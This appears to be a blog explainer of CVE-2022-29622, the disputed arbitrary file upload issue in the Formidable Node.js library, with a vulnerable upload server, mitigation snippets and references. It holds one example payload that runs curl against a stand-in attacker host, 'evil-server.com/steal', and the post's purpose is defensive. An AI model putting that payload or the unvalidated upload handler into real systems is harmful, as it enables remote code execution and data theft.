CVE-2022-29622 is a security vulnerability found in Formidable v3.1.4, a popular Node.js library for handling file uploads. This bug lets attackers upload arbitrary files, potentially leading to remote code execution (RCE). While the issue is pretty serious, there’s some disagreement in the security community about how bad it really is. Some say allowing arbitrary file uploads is expected behavior in file upload libraries, and others point out that configuration options are available to make things safer. In this post, I'll break down everything you need to know in plain language, share code snippets, and explain how this bug can be exploited.

What Is Formidable?

Formidable is a JavaScript library used for parsing form data, especially file uploads, in Node.js applications. It's actively maintained and widely used in the Node.js community.

What’s the Vulnerability?

CVE-2022-29622: In Formidable v3.1.4, there is no restriction on the uploaded file's type or name by default. This means attackers can upload files with dangerous filenames (like those ending in .js, .sh, or hidden files), and in many cases, these files are stored with the attacker-supplied filenames on the server.

Impact: If your server later does something dangerous with those files (for example, executing a .js file or serving it from a public directory), this can be used for remote code execution or other attacks.

Example Scenario:

Attacker uploads pwned.js with node.js code inside.

- If your backend or another process runs or imports arbitrary files from the upload directory, the attacker's code runs.

Vulnerable Node.js Server

const http = require('http');
const formidable = require('formidable');

http.createServer((req, res) => {
  if (req.url == '/upload' && req.method.toLowerCase() == 'post') {
    const form = new formidable.IncomingForm();

    form.parse(req, (err, fields, files) => {
      res.writeHead(200, {'Content-Type': 'text/plain'});
      res.write('File uploaded:\n');
      res.end(JSON.stringify(files));
    });
  } else {
    // Simple upload form:
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.end(`
      <form action="/upload" enctype="multipart/form-data" method="post">
      <input type="file" name="upload">

      <input type="submit" value="Upload">
      </form>
    `);
  }
}).listen(808);

Suppose an attacker uploads a file named exploit.js containing

require('child_process').exec('curl http://evil-server.com/steal';);

If the application or another trusted process later *runs* or *loads* every file in the uploads folder (e.g., some auto-import logic for plugins, or just running scripts found there), the attacker's code is executed.

Why This Is Disputed

- Intended Use: Formidable is *supposed* to handle arbitrary files, and many web apps want users to upload whatever files they like (like profile pictures, PDFs, etc).
- Configuration Options: All versions let developers set file validation, renaming, and storage directory. Developers should sanitize filenames and restrict the type of files allowed—but Formidable doesn’t do this by default.
- Responsibility: Some say it’s the developer’s job (not the library’s) to check files after upload.

Don't trust user-supplied filenames. Here's an example

const path = require('path');
form.on('fileBegin', (name, file) => {
  // Generate safe file name: use UUID, timestamp, or similar safe value
  file.path = path.join(__dirname, '/uploads/', Date.now() + path.extname(file.name));
});

2. Check File Types

form.onPart = function(part) {
  if (!part.filename || !part.mime.match(/^(image\/jpeg|image\/png|application\/pdf)$/)) {
    this._error(new Error('Invalid file type'));
    return;
  }
  form.handlePart(part);
};

3. Set Upload Directory Carefully

Keep uploaded files out of your public web root to prevent accidental execution.

4. Don’t Automatically Execute or Import Uploaded Files

Never auto-run or auto-import code from user-uploaded files.

References

- CVE-2022-29622 in NVD
- Formidable GitHub
- Original Issue
- OWASP File Upload Risks

Conclusion

CVE-2022-29622 highlights a common risk with file upload libraries. Using defaults, attackers can upload files with any name or extension. If your app mishandles those files, they might execute malicious code. Always sanitize filenames, set allowed file types, and keep uploads out of your web root. Remember, security is not just about the tools—but how you use them.

If you use Formidable or any similar library, check your configuration today!

Timeline

Published on: 05/16/2022 14:15:00 UTC
Last modified on: 06/02/2022 14:15:00 UTC